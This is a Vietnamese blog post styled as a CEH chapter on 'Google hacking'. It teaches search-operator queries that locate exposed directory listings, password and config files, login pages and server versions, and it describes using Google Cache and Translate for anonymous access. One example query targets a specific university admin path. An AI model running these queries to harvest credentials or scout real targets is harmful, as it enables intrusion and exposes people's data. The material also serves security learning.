Lợi dụng vào bộ máy tình kiếm Google để truy tìm tông tích đối tượng, thậm chỉ là dùng Google để tấn công hệ thống. Đó chính là Google Hacking.

Với khả năng tìm kiếm lợi hại của Google, hacker có thề tìm thấy nhiều thông tin hữu ích, cho quá trình theo dõi mục tiêu và tấn công vào đối tượng. Chương này sẽ trình bày những thủ thuật tìm kiếm nổi trội của Google, có ý nghĩa đối với một hacker. Từ việc làm thể nào để bạn tìm được thông tin của mục tiêu, thì bạn sẽ rút cho mình kinh nghiệm làm thế nào đề không cho thông tin bị rò ra bên ngoài.

1.  Google Hacking Là Gì ?

Nói tóm lại, Google hacking thực hiện những công việc như:

·        Sử dụng bộ máy tìm kiếm để truy tìm thông tin của đối tượng cần theo dõi.

·        Cũng là bộ máy tìm kiếm, với những cú pháp tìm kiếm đặc biệt có thể giúp hacker tìm thấy những thông tin đặc biệt có liên quan đến bảo mật, như username, computername, password, page login…

·        Sử dụng Google để thực hiện các vụ tấn công, điều này được làm như thế nào, hạ hồi phân giải. 😀

Những thông tin được chú tâm

Chức năng tìm kiếm của Google rất lớn, tùy vào phạm trù lĩnh vực mà chúng ta quan tâm đến những dữ liệu nào. Trong Hacking, chúng ta cần chú ý đến những dữ liệu như sau:

·        Sự cố mạng và những thông tin liên quan đến các server có lổ hổng bảo mật.

·        Những thông báo lỗi (error message) có chứa nhiều thông tin quan trọng.

·        File có chứa mật khẩu.

·        Thư mục có nội dụng nhạy cảm như config, system…

·        Trang đăng nhập (login page) vào website.

·        Trang chứa thông tin mạng hoặc dữ liệu nhạy cảm như Firewall log…

Google với kết quả tìm kiếm

Với Google, gõ từ khóa tìm kiếm càng ít thì kết quả càng nhiều, ngược lại từ khóa dài sẽ cho kết quả ít hơn. Kết hợp những từ khóa tìm kiếm đặc biệt, những cú pháp tìm kiếm của Google sẽ giới hạn phạm vi tìm kiếm, và có kết quả chính xác, nhanh hơn.

Kết quả tìm kiếm của Google thường rất là lớn. Con số vài ngàn là chuyện bình thường. Tuy nhiên, đã có bao giờ bạn xem đến những trang kết quả cuối cùng chưa. Chắc chắn là chưa, vì bạn chưa đủ kiên nhẫn. Nhưng chính ở những nơi hẻo lánh ít người đến đó, lại ẩn chứa những bí mật mà hacker nên đến. Với từ khóa tìm kiếm là administrator, những trang đầu tiên, bạn có thể thấy những bài viết bình thường trên mạng có liên quan đến từ administrator. Nếu chịu khó đến những trang kết quả cuối cùng, bạn có thể tìm thấy thông tin của administrator đang quản lý một website nào đó. Hoặc với từ khóa username, chúng ta có thể tìm thấy một username đăng nhập hệ thống.

2.  Google Hacking Basic

Bây giờ chúng ta sẽ bắt đầu trò chơi thật sự. Những chuyện tưởng chừng như đơn giãn là tìm kiếm trên Google, lại có thể mang lại nhiều thứ cho hacker. Ngay sau đây, bạn sẽ tìm hiểu về các kỹ thuật hacking của google. Nó đơn giãn là các chức năng quá hay của Google mà thôi.

Anonymity with Caches

Chức năng Cache thật sự là quá tuyệt vời của Google. Google lưu lại nhiều website mà bạn và những người khác truy cập. Bất cứ khi nào, bạn đểu có thể xem lại trang web được lưu trong bộ nhớ cache này của google, ngay cả khi nó đã bị xóa khỏi server trên mạng. Và như đã nói Google Cache lưu lại mọi thứ.

Hình 3. 1: Tất cả mọi thứ đều được lưu lại trong Cache

Google lưu lại mọi dữ liệu mà nó thu thập được. Có đến hàng Tegabyte dữ liệu web bị rò rỉ hằng năm. Hacker có thể lợi dụng vào Google để thực hiện một cuộc tấn công ẩn danh.

Bạn đăng một thông tin lên website của mình. Một thời gian không lâu sau đó, bạn xóa trang đó đi, vì không muốn tin này phát tán nữa. Thế nhưng mọi người vẫn xem được những thông tin đó do bạn đăng lên. Họ đã không xem trực tiếp từ website của bạn mà xem trong bộ nhớ cache của Google.

Bạn vào trang điền thông tin cá nhân khi đăng ký tham gia một trang web bán hàng trực tuyến. Thật tai hai, khi thông tin đó của bạn được nhà cung cấp dịch vụ bán hàng hứa là giữ bí mật, mà nó vẫn bị rò rỉ ra bên ngoài. Chuyện gì đã xẩy ra? Đó chính là vì bạn đã bị Google cache thông tin đó của bạn lại, khi bạn vào xem trang thông tin của mình.

Nói tóm lại, nhiều thông tin nhạy cảm của bạn và của công ty, tổ chức có thể bị Google cache lại. Và đến lúc nào đó bạn không muốn nó xuất hiện trên internet nữa, thì nó lại vẫn còn xuất hiện thông qua bộ nhớ cache của google.

Bất kì một người nào biết cách sử dụng google cũng có thể vô tình tìm thấy thông tin hữu ích trong bộ nhớ cached này.

Sử Dụng Google Như Một Proxy Server

Bạn đã bao giờ nghĩ Google Translate lại là một công cụ để khai thác dữ liệu chưa?

Sử dụng chức năng này chúng ta sẽ tìm hiểu đến công cụ Translate của google, tại địa chỉhttp://ift.tt/1J7JfKTChúng ta đều biết nó dùng để dịch đoạn văn bản. Nhưng nếu chỉ có văn bản không, thì chúng ta đã không có Proxy Server. Chức năng Translate của Google còn cho phép dịch cả một trang web.

Điền địa chỉ trang web vào khung dịch văn bản, Google sẽ giúp chúng ta dịch cả trang web đó. Khi ấy, chúng ta đang truy cập vào website không đi trực tiếp từ máy của mình, mà thông qua một máy khác là Google.

Trong trang ví dụ dưới đây, tôi sẽ truy cập vào trang web http://anonymousvn.tk/ thông qua Google Translate.

Untitled

Hình 3. 2: Kết quả truy cập website aanonymousvn.tk thông qua Google Translate

Các bạn có thắc mắc là tại sao AD lại dịch từ tiếng Anh sang tiếng Việt hay không. Đó chính là vì AD muốn xem trang web của mình trong tiếng Việt, tiếng gốc của trang web. Đảm bảo các bạn sẽ gặp lỗi nếu cố gắng chuyển một trang tiếng Việt sang tiếng Việt đấy ^^

Xem xét một kết quả của trình tcpdump (trình bắt gói tin), nó thể hiện quá trình giao tiếp giữa máy tính của người dùng với internet, khi người dùng truy cập website.

Hình 3. 3: Kết quả TcpDump

Đầu tiên máy tính của bạn (192.168.2.32:53466) gửi yêu cầu đến web server (64.233.171.104:80) đây là máy chủ của Google, và toàn bộ quá trình giao tiếp chuyển dữ liệu không hề xuất hiện máy chủ anonymousvn.tk.

Directory Listings

Directory Listings là một website đặc biệt, nó hiển thị danh sách các file và thư mục tồn tại trên server. Đặc điểm của website kiểu này là không cần lập trình, thiết kế web phức tạp. Nó được dùng trong các trường hợp chia sẽ tài nguyên. Cũng giống như FTP, chúng ta hoàn toàn phần quyền được trên các file và directory này.

Hình 3. 4: Kết quả của Directory Listings một website

Hầu hết các ứng dụng webserver sẽ hiển thị danh sách thư mục như thế khi trong địa chỉ truy cập không có trang mặc định (default page). Những trang mặc định như index.php, default.html…đã không được người lập trình web đưa vào thư mục. Thật là tai hại khi thư mục đó có chứa nhưng tập tin quan trọng, như config.php.

Nếu bạn là người phát triển website thì hãy đặc biệt chú ý đến vấn đề này. Có nhiều cách nếu bạn không muốn liệt kê thư mục trong trình duyệt kiểu này. Đơn giãn là thêm file default page rõng vào thư mục. Khi đó người dùng truy cập vào thư mục chỉ thấy một trang nội dung trắng. Cách khác là dùng file cấu hình .htaccess để tạo no-index

Để tìm kiếm những trang web như thế bạn có thể sử dụng từ khóa index of / Tại sao như vậy. Hãy xem hình 3.4, bạn thấy các trang web hiển thị thư mục đểu có phần nội dung là index of

Tìm kiếm thư mục và tập tin đặc biệt

Đó là những thư mục như adminitrator, configuration, hay những file *.log, *.sys, *.conf… đều là những file chứa những nội dung nhạy cảm của một trang web

Nếu muốn tìm những thưc mục đặc biệt như thế có thể kết hợp thêm từ khóa intitle:

Ví dụ cú pháp: intitle: index of admin hoặc intitle: index of inurl: admin sẽ cho chúng ta kết quả là những trang web có liên quan đến trang quản trị của website.

Cú pháp intile: index of ws_ftp.log sẽ giúp chúng ta tìm kiếm file ws_ftp.log

Hình 3. 5: Kết quả tìm kiếm thư mục đặc biệt

Server version

Tìm kiếm thông tin phiên bản của ứng dụng phía server sẽ giúp cho hacker có kế hoạch tấn công tốt hơn. Có nhiều cách tìm kiếm thông tin server:

·        Dựa vào HTTP Header cũng có thể tìm thấy số phiên bản của ứng dụng.

·        Một vài công cụ dò tìm (scanning) cũng có thể giúp đỡ.

·        Trong chức năng Directory Listings ở trên cũng có hiển thị thông tin server ở dưới, xem lại hình trên chúng ta sẽ thấy rõ dòng thông tin phiên bản của ứng dụng là: Apache / 2.0.52 (Unix) Server at xml.apache.com Có nghĩa là server đang chạy hệ điều hành Unix, ứng dụng Apache phiên bản 2.0.52 cho webserver, và web server có địa chỉ là xml.apache.com.

Để tìm kiếm thông tin phiên bản ứng dụng, có thể dùng cú pháp Server at Ví dụ như intitle: index of / “server at”

Directory Traversal

“Travel” là du lịch, Directory Traversal có thể tạm hiểu là “đi dạo qua các thư mục”. Để lý giải cho vấn đề này, chúng ta cùng quay lại với kết quả của Directory Listing ở hình dưới đây.

Hình 3. 6: Kết quả hiển thị cũa Derectory Listing

Kết quả này đang hiển thị danh sách thư mục cho đường dẫn …/bpa/acadunits/admin/envr/bowman. Nếu để ý, chúng ta thấy có thư mục « admin » nằm ở trên thư mục hiện hành hai cấp. Và chúng ta còn thấy một liên kết Parent Directory ở ngay hàng đầu. Đều đó có nghĩa là nếu bấm vào liên kết này, chúng ta có thể đi đến được thư mục admin, và còn có thể duyệt qua tất cả các thư mục khác.

Đến đây, có thể hiểu Traversal là một kỹ thuật mở rộng kết quả tìm kiếm, từ một mục tiêu nhỏ.

Bằng cách sử dụng công cụ tìm kiếm của Google, không khó để bạn tìm đến những thư mục như thế. Ví dụ với cấu trúc tìm kiếm là

site:cl.uh.edu inurl:bpa/acadunits/admin ws_ftp.log

chúng ta có thể tìm thấy nhiều file đặc biệt, và nhiều hơn nữa những thông tin cần thiết.

Để có thể duyệt hết cây thư mục, chúng ta còn một cách nữa, là thay đổi vài nội dung trong URL. Ví dụ bạn có thể thay đổi từ admin ở trên thành những từ khác có ý nghĩa như student, public, teacher…

Incremental Substitution

Đây cũng là một kỹ thuật dùng để duyệt file và thư mục. Cũng bằng cách suy luận, và thay đổi những ký tự cần thiết trong đường dẫn URL, chúng ta có thể tìm thấy những file hoặc thư mục cần thiết.

Ví dụ: Bạn đã tìm thấy file với đường dẫn là … /docs/bulletin/2.xls Vậy nếu thay đổi thành …/docs/bulletin/3.xls thì chúng ta có khả năng tìm thấy được file 3.xls.

Một ví dụ khác, bạn tìm thấy đường dẫn …/DigLib_thumbnail/spmg/hel/0001/H/… Thử thay đổi thành … /DigLib_thumbnail/spmg/hel/0002/H/… Biết đầu sẽ tìm thấy những điều bất ngờ.

Bằng cú pháp tìm kiếm filetype:xls inurl:1.xls or intitle:index.of inurl:0001 Bạn có thể tìm thấy những file khác tương tự như vậy.

Hacking Tool

Một vài công cụ download, như IDM (Internet Download Manager), có chức năng giúp người dùng tìm và tải nhiều file chỉ có một phần đường dẫn thay đổi. Ví dụ bạn có tìm tải tất cả các file có đường dẫn là…http://.tuoitre.vn/save/media/radio/radio-*.mp3 Trong đó dấu * đại diện cho ký tự từ 001 đến 099

Extension Walking

Bạn đã thử dùng cú pháp filetype của Google. Nhiệm vụ của cú pháp này, là tìm kiếm tập tin có phần mở rộng được chỉ định. Chẳng hạn như filetype: HTML sẽ tìm những file có phần mở rộng là HTML.

Như vậy, nếu bạn biết rằng, vài định dạng file có nội dung quan trọng như .bak, .sql, .conf…Bạn có thể bắt đầu truy lùng ra chúng. Ví dụ bạn dùng cú pháp intitle:index.of index.php.bak Có thể chúng ta sẽ thấy được những điều bí ẩn.

3.  Google Advanced Operator

Chắc hẳn rằng, ai trong chúng ta cũng từ quen thuộc với những cú pháp tìm kiếm thông dụng của Google. Áp dụng những cú pháp đó, có thể giúp mình ra kết quả nhanh hơn, chính xác hơn. Tuy nhiên, vài cú pháp sau đây thì thích hợp cho hacker hơn.

Site

Là toán tử dùng để tìm kiếm thông tin trong một site. Điều này giúp chúng ta giới hạn phạm vi tìm kiếm lại. Ví dụ cú pháp site: anonymousvn.tk sẽ giới hạn phạm vi tìm kiếm trong trang web anonymousvn.tk

Intitle:index of

Cú pháp này đã có dịp chúng ta sử dụng để tìm kiếm thư mục. Nó cũng được xem là cú pháp lợi hại dành cho hacker

Error | Warning

Đây là hai cú pháp dùng để tìm kiếm thông tin lỗi. Một vài thông báo lỗi khi lập trình sẽ tạo một lỗ hổng cho hacker thừa cơ đột nhật.

Login | Logon

Cú pháp dùng để tìm trang logon. Nó có thể chỉ là trang đăng nhập website bình thường, nhưng cũng có thể là trang đăng nhập vào một hệ thống đặc biệt hơn. Đứng trước cửa rồi, việc tấn công vào trong thế nào còn tùy thuộc vào nhiều thứ.

Username | Userid | employerID | “your user name”

Đây là một loạt các cú pháp tìm kiếm user name để đăng nhật hệ thống. Tại sao chúng ta tìm được. Đó là do vài lỗi không để ý của người lập trình. Ví dụ anh ta vô tinh cho hiển thị thông báo “Tài khoản abc vẫn chưa kích hoạt”

Password | Passcode | “Your password is”

Cũng tương tự như cú pháp về username. Chúng ta dễ dàng tìm thấy nhưng câu thông báo đại loại như là“Your password is AHTlkYu

Admin | Administrator

Chúng ta có khoanh vùng tìm kiếm những thông tin có liên quan đến admin với từ khóa này. Những trang quản trị dành cho admin, những thông tin của admin, và nhiều thứ khác có liên quan đến admin. Kết hợp với chức năng cached của Google, hiệu quả công việc sẽ tăng lên.

–ext:html –ext:htm –ext:shtml –ext:asp –ext:php

Và còn nhiều hơn nữa những cú pháp có liên quan đến –ext. Cú pháp này giúp chúng ta tìm thấy những file mà chúng ta muốn. Với hacker nhưng file đó có thể kể đến như php, html, bak, conf, sys…

inurl:temp | inurl:tmp | inurl:backup | inurl:bak

Cũng giống như với ext, nhưng không tìm theo file nữa mà tìm theo thư mục. Những thư mục mà hacker quan tâm như temp, backup, admin, conf…

intranet | help.desk

Thông tin có liên quan đến bộ phận helpdesk của công ty cũng không thể bỏ qua trong cuộc tấn công. Cú pháp này giúp chúng ta tìm thấy nhiều thông tin có liên quan đến bộ phận helpdesk.

4.  Google Hacking Tool

Việc phải ghi nhớ những cú pháp tìm kiếm đặc biệt dành cho hacker trên đây làm chúng ta khó chịu. Rất may là đã nhiều công cụ hổ trợ chúng thực hiện những câu truy vấn tìm kiếm dễ dàng hơn.

Hình 3. 7: Trang web Google Hacking Database

Đầu tiên và cũng đáng gờm nhất là Google Hacking Database. Tại đây tập hợp kết quả tìm kiếm của hàng ngàn lỗ hổng bảo mật, những file có chứa username, những trang logon, những file có chứa nội dung quan trọng…Truy cập vào website http://ift.tt/1GxUgFR hay http://ift.tt/YwdhS1 để khai thác cở sở dữ liệu khổng lồ này.

SiteDigger Tool, Gooscan, Goolink Scanner là những công cụ hữu ích khác, cho phép chúng ta thực hiện quá trình tìm kiếm với những câu lệnh đặc thù hơn, chuyên biệt hơn của hacker.

Google Hack: Đây là cộng đồng của Google Hack tại địa chỉ http://ift.tt/1l8yEqp Cùng với công cụ mà các nhóm cung cấp, sẽ giúp chúng ta khai thác tối đa tiện ích của google trong quá trình tìm kiếm và tấn công hệ thống. Công cụ Google Hack chẳng những cho phép chúng ta tìm kiếm thông tin mà còn cho phép sử dụng Google như là một Proxy Server.

Hình 3. 9: Giao diện của Google Hacks

5.  Tổng kết

Kết thúc phần này, chúng ta cần hiểu rõ các vấn đề sau:

·        Google là một công cụ tìm kiếm mạnh mẽ, nhưng cũng vì mạnh mẽ mà nó trở thành một công cụ tấn công của Hacker.

·        Sử dụng công cụ của Google để tạo thành một Proxy Server, dùng trong trường hợp cần truy cập web ẩn danh.

·        Có nhiều thủ thuật tìm kiếm khác nhau, cho chúng ta kết quả mong đợi. Nhưng kỹ thuật tìm kiếm thư mục, tìm kiếm phiên bản server…Những toán tử và từ khóa quan trọng, nên biết, cũng được sử dụng trong tìm kiếm để khoanh vùng tìm kiếm.

·        Vài công cụ giúp chúng ta nhanh chóng hơn trong việc tạo câu truy vấn tìm kiếm.

The post CEH CHƯƠNG 3: GOOGLE HACKING appeared first on Hacker Anonymous Việt Nam.

Được đăng tại : http://anonymousvn.tk/
Hacker Anonymous Việt Nam. Được tạo bởi Blogger.